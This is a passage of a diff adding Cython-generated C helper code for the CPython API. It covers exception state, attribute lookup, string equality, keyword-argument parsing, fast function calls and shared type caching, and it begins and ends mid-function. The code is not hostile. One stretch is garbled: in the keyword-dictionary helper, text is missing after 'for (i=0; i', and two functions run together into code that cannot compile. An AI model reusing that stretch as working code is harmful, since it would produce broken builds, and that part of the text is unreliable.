= tb; + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#endif +} +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject* exc_value; + exc_value = tstate->current_exception; + tstate->current_exception = 0; + *value = exc_value; + *type = NULL; + *tb = NULL; + if (exc_value) { + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + #if CYTHON_COMPILING_IN_CPYTHON + *tb = ((PyBaseExceptionObject*) exc_value)->traceback; + Py_XINCREF(*tb); + #else + *tb = PyException_GetTraceback(exc_value); + #endif + } +#else + *type = tstate->curexc_type; + *value = tstate->curexc_value; + *tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; +#endif +} +#endif + +/* PyObjectGetAttrStr */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro)) + return tp->tp_getattro(obj, attr_name); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_getattr)) + return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); +#endif + return PyObject_GetAttr(obj, attr_name); +} +#endif + +/* PyObjectGetAttrStrNoError */ +#if __PYX_LIMITED_VERSION_HEX < 0x030d00A1 +static void __Pyx_PyObject_GetAttrStr_ClearAttributeError(void) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (likely(__Pyx_PyErr_ExceptionMatches(PyExc_AttributeError))) + __Pyx_PyErr_Clear(); +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name) { + PyObject *result; +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + (void) PyObject_GetOptionalAttr(obj, attr_name, &result); + return result; +#else +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_TYPE_SLOTS && PY_VERSION_HEX >= 0x030700B1 + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro == PyObject_GenericGetAttr)) { + return _PyObject_GenericGetAttrWithDict(obj, attr_name, NULL, 1); + } +#endif + result = __Pyx_PyObject_GetAttrStr(obj, attr_name); + if (unlikely(!result)) { + __Pyx_PyObject_GetAttrStr_ClearAttributeError(); + } + return result; +#endif +} + +/* GetBuiltinName */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name) { + PyObject* result = __Pyx_PyObject_GetAttrStrNoError(__pyx_b, name); + if (unlikely(!result) && !PyErr_Occurred()) { + PyErr_Format(PyExc_NameError, +#if PY_MAJOR_VERSION >= 3 + "name '%U' is not defined", name); +#else + "name '%.200s' is not defined", PyString_AS_STRING(name)); +#endif + } + return result; +} + +/* TupleAndListFromArray */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE void __Pyx_copy_object_array(PyObject *const *CYTHON_RESTRICT src, PyObject** CYTHON_RESTRICT dest, Py_ssize_t length) { + PyObject *v; + Py_ssize_t i; + for (i = 0; i < length; i++) { + v = dest[i] = src[i]; + Py_INCREF(v); + } +} +static CYTHON_INLINE PyObject * +__Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + Py_INCREF(__pyx_empty_tuple); + return __pyx_empty_tuple; + } + res = PyTuple_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyTupleObject*)res)->ob_item, n); + return res; +} +static CYTHON_INLINE PyObject * +__Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + return PyList_New(0); + } + res = PyList_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyListObject*)res)->ob_item, n); + return res; +} +#endif + +/* BytesEquals */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else + if (s1 == s2) { + return (equals == Py_EQ); + } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { + const char *ps1, *ps2; + Py_ssize_t length = PyBytes_GET_SIZE(s1); + if (length != PyBytes_GET_SIZE(s2)) + return (equals == Py_NE); + ps1 = PyBytes_AS_STRING(s1); + ps2 = PyBytes_AS_STRING(s2); + if (ps1[0] != ps2[0]) { + return (equals == Py_NE); + } else if (length == 1) { + return (equals == Py_EQ); + } else { + int result; +#if CYTHON_USE_UNICODE_INTERNALS && (PY_VERSION_HEX < 0x030B0000) + Py_hash_t hash1, hash2; + hash1 = ((PyBytesObject*)s1)->ob_shash; + hash2 = ((PyBytesObject*)s2)->ob_shash; + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + return (equals == Py_NE); + } +#endif + result = memcmp(ps1, ps2, (size_t)length); + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { + return (equals == Py_NE); + } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { + return (equals == Py_NE); + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +#endif +} + +/* UnicodeEquals */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else +#if PY_MAJOR_VERSION < 3 + PyObject* owned_ref = NULL; +#endif + int s1_is_unicode, s2_is_unicode; + if (s1 == s2) { + goto return_eq; + } + s1_is_unicode = PyUnicode_CheckExact(s1); + s2_is_unicode = PyUnicode_CheckExact(s2); +#if PY_MAJOR_VERSION < 3 + if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { + owned_ref = PyUnicode_FromObject(s2); + if (unlikely(!owned_ref)) + return -1; + s2 = owned_ref; + s2_is_unicode = 1; + } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { + owned_ref = PyUnicode_FromObject(s1); + if (unlikely(!owned_ref)) + return -1; + s1 = owned_ref; + s1_is_unicode = 1; + } else if (((!s2_is_unicode) & (!s1_is_unicode))) { + return __Pyx_PyBytes_Equals(s1, s2, equals); + } +#endif + if (s1_is_unicode & s2_is_unicode) { + Py_ssize_t length; + int kind; + void *data1, *data2; + if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) + return -1; + length = __Pyx_PyUnicode_GET_LENGTH(s1); + if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { + goto return_ne; + } +#if CYTHON_USE_UNICODE_INTERNALS + { + Py_hash_t hash1, hash2; + #if CYTHON_PEP393_ENABLED + hash1 = ((PyASCIIObject*)s1)->hash; + hash2 = ((PyASCIIObject*)s2)->hash; + #else + hash1 = ((PyUnicodeObject*)s1)->hash; + hash2 = ((PyUnicodeObject*)s2)->hash; + #endif + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + goto return_ne; + } + } +#endif + kind = __Pyx_PyUnicode_KIND(s1); + if (kind != __Pyx_PyUnicode_KIND(s2)) { + goto return_ne; + } + data1 = __Pyx_PyUnicode_DATA(s1); + data2 = __Pyx_PyUnicode_DATA(s2); + if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { + goto return_ne; + } else if (length == 1) { + goto return_eq; + } else { + int result = memcmp(data1, data2, (size_t)(length * kind)); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & s2_is_unicode) { + goto return_ne; + } else if ((s2 == Py_None) & s1_is_unicode) { + goto return_ne; + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +return_eq: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ); +return_ne: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_NE); +#endif +} + +/* fastcall */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s) +{ + Py_ssize_t i, n = PyTuple_GET_SIZE(kwnames); + for (i = 0; i < n; i++) + { + if (s == PyTuple_GET_ITEM(kwnames, i)) return kwvalues[i]; + } + for (i = 0; i < n; i++) + { + int eq = __Pyx_PyUnicode_Equals(s, PyTuple_GET_ITEM(kwnames, i), Py_EQ); + if (unlikely(eq != 0)) { + if (unlikely(eq < 0)) return NULL; + return kwvalues[i]; + } + } + return NULL; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 +CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues) { + Py_ssize_t i, nkwargs = PyTuple_GET_SIZE(kwnames); + PyObject *dict; + dict = PyDict_New(); + if (unlikely(!dict)) + return NULL; + for (i=0; i= 3 + "%s() got multiple values for keyword argument '%U'", func_name, kw_name); + #else + "%s() got multiple values for keyword argument '%s'", func_name, + PyString_AsString(kw_name)); + #endif +} + +/* ParseKeywords */ +static int __Pyx_ParseOptionalKeywords( + PyObject *kwds, + PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, + PyObject *values[], + Py_ssize_t num_pos_args, + const char* function_name) +{ + PyObject *key = 0, *value = 0; + Py_ssize_t pos = 0; + PyObject*** name; + PyObject*** first_kw_arg = argnames + num_pos_args; + int kwds_is_tuple = CYTHON_METH_FASTCALL && likely(PyTuple_Check(kwds)); + while (1) { + Py_XDECREF(key); key = NULL; + Py_XDECREF(value); value = NULL; + if (kwds_is_tuple) { + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(kwds); +#else + size = PyTuple_Size(kwds); + if (size < 0) goto bad; +#endif + if (pos >= size) break; +#if CYTHON_AVOID_BORROWED_REFS + key = __Pyx_PySequence_ITEM(kwds, pos); + if (!key) goto bad; +#elif CYTHON_ASSUME_SAFE_MACROS + key = PyTuple_GET_ITEM(kwds, pos); +#else + key = PyTuple_GetItem(kwds, pos); + if (!key) goto bad; +#endif + value = kwvalues[pos]; + pos++; + } + else + { + if (!PyDict_Next(kwds, &pos, &key, &value)) break; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + } + name = first_kw_arg; + while (*name && (**name != key)) name++; + if (*name) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(value); + Py_DECREF(key); +#endif + key = NULL; + value = NULL; + continue; + } +#if !CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + Py_INCREF(value); + name = first_kw_arg; + #if PY_MAJOR_VERSION < 3 + if (likely(PyString_Check(key))) { + while (*name) { + if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) + && _PyString_Eq(**name, key)) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + if ((**argname == key) || ( + (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) + && _PyString_Eq(**argname, key))) { + goto arg_passed_twice; + } + argname++; + } + } + } else + #endif + if (likely(PyUnicode_Check(key))) { + while (*name) { + int cmp = ( + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**name) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**name, key) + ); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + int cmp = (**argname == key) ? 0 : + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**argname) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**argname, key); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) goto arg_passed_twice; + argname++; + } + } + } else + goto invalid_keyword_type; + if (kwds2) { + if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; + } else { + goto invalid_keyword; + } + } + Py_XDECREF(key); + Py_XDECREF(value); + return 0; +arg_passed_twice: + __Pyx_RaiseDoubleKeywordsError(function_name, key); + goto bad; +invalid_keyword_type: + PyErr_Format(PyExc_TypeError, + "%.200s() keywords must be strings", function_name); + goto bad; +invalid_keyword: + #if PY_MAJOR_VERSION < 3 + PyErr_Format(PyExc_TypeError, + "%.200s() got an unexpected keyword argument '%.200s'", + function_name, PyString_AsString(key)); + #else + PyErr_Format(PyExc_TypeError, + "%s() got an unexpected keyword argument '%U'", + function_name, key); + #endif +bad: + Py_XDECREF(key); + Py_XDECREF(value); + return -1; +} + +/* PyDictVersioning */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + return likely(dict) ? __PYX_GET_DICT_VERSION(dict) : 0; +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj) { + PyObject **dictptr = NULL; + Py_ssize_t offset = Py_TYPE(obj)->tp_dictoffset; + if (offset) { +#if CYTHON_COMPILING_IN_CPYTHON + dictptr = (likely(offset > 0)) ? (PyObject **) ((char *)obj + offset) : _PyObject_GetDictPtr(obj); +#else + dictptr = _PyObject_GetDictPtr(obj); +#endif + } + return (dictptr && *dictptr) ? __PYX_GET_DICT_VERSION(*dictptr) : 0; +} +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + if (unlikely(!dict) || unlikely(tp_dict_version != __PYX_GET_DICT_VERSION(dict))) + return 0; + return obj_dict_version == __Pyx_get_object_dict_version(obj); +} +#endif + +/* GetModuleGlobalName */ +#if CYTHON_USE_DICT_VERSIONS +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value) +#else +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name) +#endif +{ + PyObject *result; +#if !CYTHON_AVOID_BORROWED_REFS +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 + result = _PyDict_GetItem_KnownHash(__pyx_d, name, ((PyASCIIObject *) name)->hash); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } else if (unlikely(PyErr_Occurred())) { + return NULL; + } +#elif CYTHON_COMPILING_IN_LIMITED_API + if (unlikely(!__pyx_m)) { + return NULL; + } + result = PyObject_GetAttr(__pyx_m, name); + if (likely(result)) { + return result; + } +#else + result = PyDict_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } +#endif +#else + result = PyObject_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } + PyErr_Clear(); +#endif + return __Pyx_GetBuiltinName(name); +} + +/* PyFunctionFastCall */ +#if CYTHON_FAST_PYCALL && !CYTHON_VECTORCALL +static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, + PyObject *globals) { + PyFrameObject *f; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject **fastlocals; + Py_ssize_t i; + PyObject *result; + assert(globals != NULL); + /* XXX Perhaps we should create a specialized + PyFrame_New() that doesn't take locals, but does + take builtins without sanity checking them. + */ + assert(tstate != NULL); + f = PyFrame_New(tstate, co, globals, NULL); + if (f == NULL) { + return NULL; + } + fastlocals = __Pyx_PyFrame_GetLocalsplus(f); + for (i = 0; i < na; i++) { + Py_INCREF(*args); + fastlocals[i] = *args++; + } + result = PyEval_EvalFrameEx(f,0); + ++tstate->recursion_depth; + Py_DECREF(f); + --tstate->recursion_depth; + return result; +} +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs) { + PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); + PyObject *globals = PyFunction_GET_GLOBALS(func); + PyObject *argdefs = PyFunction_GET_DEFAULTS(func); + PyObject *closure; +#if PY_MAJOR_VERSION >= 3 + PyObject *kwdefs; +#endif + PyObject *kwtuple, **k; + PyObject **d; + Py_ssize_t nd; + Py_ssize_t nk; + PyObject *result; + assert(kwargs == NULL || PyDict_Check(kwargs)); + nk = kwargs ? PyDict_Size(kwargs) : 0; + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) { + return NULL; + } + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) { + return NULL; + } + #endif + if ( +#if PY_MAJOR_VERSION >= 3 + co->co_kwonlyargcount == 0 && +#endif + likely(kwargs == NULL || nk == 0) && + co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { + if (argdefs == NULL && co->co_argcount == nargs) { + result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); + goto done; + } + else if (nargs == 0 && argdefs != NULL + && co->co_argcount == Py_SIZE(argdefs)) { + /* function called with no arguments, but all parameters have + a default value: use default values as arguments .*/ + args = &PyTuple_GET_ITEM(argdefs, 0); + result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); + goto done; + } + } + if (kwargs != NULL) { + Py_ssize_t pos, i; + kwtuple = PyTuple_New(2 * nk); + if (kwtuple == NULL) { + result = NULL; + goto done; + } + k = &PyTuple_GET_ITEM(kwtuple, 0); + pos = i = 0; + while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { + Py_INCREF(k[i]); + Py_INCREF(k[i+1]); + i += 2; + } + nk = i / 2; + } + else { + kwtuple = NULL; + k = NULL; + } + closure = PyFunction_GET_CLOSURE(func); +#if PY_MAJOR_VERSION >= 3 + kwdefs = PyFunction_GET_KW_DEFAULTS(func); +#endif + if (argdefs != NULL) { + d = &PyTuple_GET_ITEM(argdefs, 0); + nd = Py_SIZE(argdefs); + } + else { + d = NULL; + nd = 0; + } +#if PY_MAJOR_VERSION >= 3 + result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, kwdefs, closure); +#else + result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, closure); +#endif + Py_XDECREF(kwtuple); +done: + Py_LeaveRecursiveCall(); + return result; +} +#endif + +/* PyObjectCall */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *result; + ternaryfunc call = Py_TYPE(func)->tp_call; + if (unlikely(!call)) + return PyObject_Call(func, arg, kw); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = (*call)(func, arg, kw); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectCallMethO */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { + PyObject *self, *result; + PyCFunction cfunc; + cfunc = __Pyx_CyOrPyCFunction_GET_FUNCTION(func); + self = __Pyx_CyOrPyCFunction_GET_SELF(func); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = cfunc(self, arg); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectFastCall */ +#if PY_VERSION_HEX < 0x03090000 || CYTHON_COMPILING_IN_LIMITED_API +static PyObject* __Pyx_PyObject_FastCall_fallback(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs) { + PyObject *argstuple; + PyObject *result = 0; + size_t i; + argstuple = PyTuple_New((Py_ssize_t)nargs); + if (unlikely(!argstuple)) return NULL; + for (i = 0; i < nargs; i++) { + Py_INCREF(args[i]); + if (__Pyx_PyTuple_SET_ITEM(argstuple, (Py_ssize_t)i, args[i]) < 0) goto bad; + } + result = __Pyx_PyObject_Call(func, argstuple, kwargs); + bad: + Py_DECREF(argstuple); + return result; +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t _nargs, PyObject *kwargs) { + Py_ssize_t nargs = __Pyx_PyVectorcall_NARGS(_nargs); +#if CYTHON_COMPILING_IN_CPYTHON + if (nargs == 0 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_NOARGS)) + return __Pyx_PyObject_CallMethO(func, NULL); + } + else if (nargs == 1 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_O)) + return __Pyx_PyObject_CallMethO(func, args[0]); + } +#endif + #if PY_VERSION_HEX < 0x030800B1 + #if CYTHON_FAST_PYCCALL + if (PyCFunction_Check(func)) { + if (kwargs) { + return _PyCFunction_FastCallDict(func, args, nargs, kwargs); + } else { + return _PyCFunction_FastCallKeywords(func, args, nargs, NULL); + } + } + #if PY_VERSION_HEX >= 0x030700A1 + if (!kwargs && __Pyx_IS_TYPE(func, &PyMethodDescr_Type)) { + return _PyMethodDescr_FastCallKeywords(func, args, nargs, NULL); + } + #endif + #endif + #if CYTHON_FAST_PYCALL + if (PyFunction_Check(func)) { + return __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs); + } + #endif + #endif + if (kwargs == NULL) { + #if CYTHON_VECTORCALL + #if PY_VERSION_HEX < 0x03090000 + vectorcallfunc f = _PyVectorcall_Function(func); + #else + vectorcallfunc f = PyVectorcall_Function(func); + #endif + if (f) { + return f(func, args, (size_t)nargs, NULL); + } + #elif defined(__Pyx_CyFunction_USED) && CYTHON_BACKPORT_VECTORCALL + if (__Pyx_CyFunction_CheckExact(func)) { + __pyx_vectorcallfunc f = __Pyx_CyFunction_func_vectorcall(func); + if (f) return f(func, args, (size_t)nargs, NULL); + } + #endif + } + if (nargs == 0) { + return __Pyx_PyObject_Call(func, __pyx_empty_tuple, kwargs); + } + #if PY_VERSION_HEX >= 0x03090000 && !CYTHON_COMPILING_IN_LIMITED_API + return PyObject_VectorcallDict(func, args, (size_t)nargs, kwargs); + #else + return __Pyx_PyObject_FastCall_fallback(func, args, (size_t)nargs, kwargs); + #endif +} + +/* FixUpExtensionType */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type) { +#if PY_VERSION_HEX > 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + CYTHON_UNUSED_VAR(spec); + CYTHON_UNUSED_VAR(type); +#else + const PyType_Slot *slot = spec->slots; + while (slot && slot->slot && slot->slot != Py_tp_members) + slot++; + if (slot && slot->slot == Py_tp_members) { + int changed = 0; +#if !(PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON) + const +#endif + PyMemberDef *memb = (PyMemberDef*) slot->pfunc; + while (memb && memb->name) { + if (memb->name[0] == '_' && memb->name[1] == '_') { +#if PY_VERSION_HEX < 0x030900b1 + if (strcmp(memb->name, "__weaklistoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_weaklistoffset = memb->offset; + changed = 1; + } + else if (strcmp(memb->name, "__dictoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_dictoffset = memb->offset; + changed = 1; + } +#if CYTHON_METH_FASTCALL + else if (strcmp(memb->name, "__vectorcalloffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); +#if PY_VERSION_HEX >= 0x030800b4 + type->tp_vectorcall_offset = memb->offset; +#else + type->tp_print = (printfunc) memb->offset; +#endif + changed = 1; + } +#endif +#else + if ((0)); +#endif +#if PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON + else if (strcmp(memb->name, "__module__") == 0) { + PyObject *descr; + assert(memb->type == T_OBJECT); + assert(memb->flags == 0 || memb->flags == READONLY); + descr = PyDescr_NewMember(type, memb); + if (unlikely(!descr)) + return -1; + if (unlikely(PyDict_SetItem(type->tp_dict, PyDescr_NAME(descr), descr) < 0)) { + Py_DECREF(descr); + return -1; + } + Py_DECREF(descr); + changed = 1; + } +#endif + } + memb++; + } + if (changed) + PyType_Modified(type); + } +#endif + return 0; +} +#endif + +/* FetchSharedCythonModule */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void) { + return __Pyx_PyImport_AddModuleRef((char*) __PYX_ABI_MODULE_NAME); +} + +/* FetchCommonType */ +static int __Pyx_VerifyCachedType(PyObject *cached_type, + const char *name, + Py_ssize_t basicsize, + Py_ssize_t expected_basicsize) { + if (!PyType_Check(cached_type)) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s is not a type object", name); + return -1; + } + if (basicsize != expected_basicsize) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s has the wrong size, try recompiling", + name); + return -1; + } + return 0; +} +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { + PyObject* abi_module; + const char* object_name; + PyTypeObject *cached_type = NULL; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + object_name = strrchr(type->tp_name, '.'); + object_name = object_name ? object_name+1 : type->tp_name; + cached_type = (PyTypeObject*) PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + if (__Pyx_VerifyCachedType( + (PyObject *)cached_type, + object_name, + cached_type->tp_basicsize, + type->tp_basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + if (PyType_Ready(type) < 0) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, (PyObject *)type) < 0) + goto bad; + Py_INCREF(type); + cached_type = type; +done: + Py_DECREF(abi_module); + return cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#else +static PyTypeObject *__Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases) { + PyObject *abi_module, *cached_type = NULL; + const char* object_name = strrchr(spec->name, '.'); + object_name = object_name ? object_name+1 : spec->name; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + cached_type = PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + Py_ssize_t basicsize; +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *py_basicsize; + py_basicsize = PyObject_GetAttrString(cached_type, "__basicsize__"); + if (unlikely(!py_basicsize)) goto bad; + basicsize = PyLong_AsSsize_t(py_basicsize); + Py_DECREF(py_basicsize); + py_basicsize = 0; + if (unlikely(basicsize == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; +#else + basicsize = likely(PyType_Check(cached_type)) ? ((PyTypeObject*) cached_type)->tp_basicsize : -1; +#endif + if (__Pyx_VerifyCachedType( + cached_type, + object_name, + basicsize, + spec->basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + CYTHON_UNUSED_VAR(module); + cached_type = __Pyx_PyType_FromModuleAndSpec(abi_module, spec, bases); + if (unlikely(!cached_type)) goto bad; + if (unlikely(__Pyx_fix_up_extension_type_from_spec(spec, (PyTypeObject *) cached_type) < 0)) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, cached_type) < 0) goto bad; +done: + Py_DECREF(abi_module); + 